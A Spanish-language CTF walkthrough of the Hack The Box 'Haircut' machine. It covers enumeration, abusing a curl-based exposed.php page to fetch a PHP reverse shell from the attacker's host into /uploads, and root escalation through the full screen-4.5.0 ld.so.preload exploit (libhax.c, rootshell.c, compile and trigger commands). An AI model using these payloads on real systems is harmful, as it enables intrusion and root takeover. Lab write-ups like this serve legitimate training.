Saltar al contenido

HackTheBox – Haircut – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Haircut de Hack the Box. Es una máquina Linux, de nivel medio en la que, una buena enumeración hace que la máquina sea muy sencilla de resolver.

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP a la velocidad T5 (Insane).

nmap -p- -n --open -T5 10.10.10.24

En la máquina hay dos puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sC -sV 10.10.10.24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-26 16:29 CET
Nmap scan report for 10.10.10.24
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.65 seconds

Con la información de la que dispongo del puerto 22 (ssh) no puedo hacer mucho así que voy a centrarme en enumerar el puerto 80 (http).

HTTP – Puerto 80

Comienzo accediendo al servicio web de la máquina y solamente encuentro una imagen.

Hago una enumeración de directorios y ficheros comunes con nmap y encuentro un fichero en formato html llamado test.html.

nmap -p80 --script http-enum 10.10.10.24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-26 16:29 CET
Nmap scan report for 10.10.10.24
Host is up (0.11s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /test.html: Test page

Nmap done: 1 IP address (1 host up) scanned in 235.44 seconds

Accedo al fichero y, nuevamente, lo único que encuentro es una imagen.

Hago una enumeración de directorios mas profunda con gobuster y encuentro un directorio llamado /uploads, que me redirige a /uploads/.

gobuster dir -u http://10.10.10.24:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300 -e 

Intento acceder a este directorio pero me aparece un error 403 Forbidden… esto puede ser buena señal.

En este punto, lo interesante es ver que ficheros hay dentro del directorio /uploads/ pero no encuentro nada así que voy para atrás y enumero los ficheros del directorio raíz. Creo un diccionario con las extensiones mas comunes que puedo encontrarme, lo ejecuto como segundo diccionario con wfuzz y encuentro varías imagenes y un fichero llamado exposed.php.

wfuzz -c --hc=404 -t 500 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensiones.txt http://10.10.10.24/FUZZ.FUZ2Z

Habría obtenido el mismo resultado en gobuster con el comando «gobuster dir -u http://10.10.10.24/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 500 -x php,html,txt,jpg -e» pero admito que me gusta wfuzz para este tipo de cosas…

Entro en la dirección del fichero y encuentro una especie de webshell.

Explotación

Ejecuto el comando de ejemplo que hay en la webshell y me devuelve estadísticas de recuperación de la página y la misma imagen que he visto en http://10.10.10.24/test.html.

Después de algunas comprobaciones e intentos de ejecutar comandos en base a lógica booleana sin éxito, descubro que la webshell en realidad está ejecutado curl (supongo que en la imagen me dá una pista).

Para comprobar si la web está «abierta al exterior», creo un fichero de Hola Mundo en txt, inicio un servidor web con Python y hago una llamada a este fichero desde la webshell.

http://10.10.14.8:8000/holamunto.txt

Como se ve en las imágenes anteriores, la web interactúa con mi servidor y carga el contenido. Como estoy en un fichero php, doy por hecho que puedo ejecutar cualquier fichero php. Cargo en mi servidor web el binario de pentestmonkey que genera una shell reversa en php y dando por hecho que la webshell ejecuta un comando curl, con la opción -o, subo el binario a la página.

http://10.10.14.8:8000/shell.php -o uploads/shell.php

Sigo sin poder acceder al directorio /uploads/ pero como no me aparece ningún mensaje de error, doy por hecho que el fichero se ha subido sin problemas.

Pongo un netcat a la escucha, accedo al fichero en la ruta http://10.10.10.24/uploads/shell.php y consigo una shell reversa.

Mas adelante explicaré como conseguir una consola tty.

Encuentro la flag de usuario en la ruta /home/maria/user.txt.

Escalada de Privilegios

Para automatizar el proceso de enumeración, subo la herramienta Linux Smart Enumeration a la máquina víctima y enumero el sistema por completo.

bash lse.sh -l 2 -i

En la sección de binarios con el bit SUID, me llama la atención uno llamado screen-4.5.0 (por mi experiencia, si aparece un número de versión en un CTF, ese es el camino).

Habría obtenido el mismo resultado con el comando find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null

Busco exploits a nivel de kernel en la base de datos de exploit-db para esta versión y me aparecen dos (realmente la segundo es un PoC mas que un exploit). También puede verse el exploit aquí.

Admito que me ha costado un poco entender el exploit pero una vez comprendido es bastante sencillo. En el contenido del fichero está el código de dos binarios que hay que compilar por separado con gcc y los comandos que hay que ejecutar.

Primero creo el binario libhax.c y le añado la primera parte del código.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

A continuación creo el binario rootshell.c y le añado la segunda parte del código.

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

Como no se si la máquina victima dispone del gcc, voy a compilarlos en local y luego los subiré a ella. Los dos binarios los subo al directorio /tmp.

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

Por último sigo la tercera parte del código (realmente son instrucciones) y me convierto en usuario root.

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

La flag de root la encuentro en la ruta /root/root.txt.

Consola tty

Como ya he dicho anteriormente, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty, por lo menos para la flag de root. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de ventana.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFHTBLinuxOSCP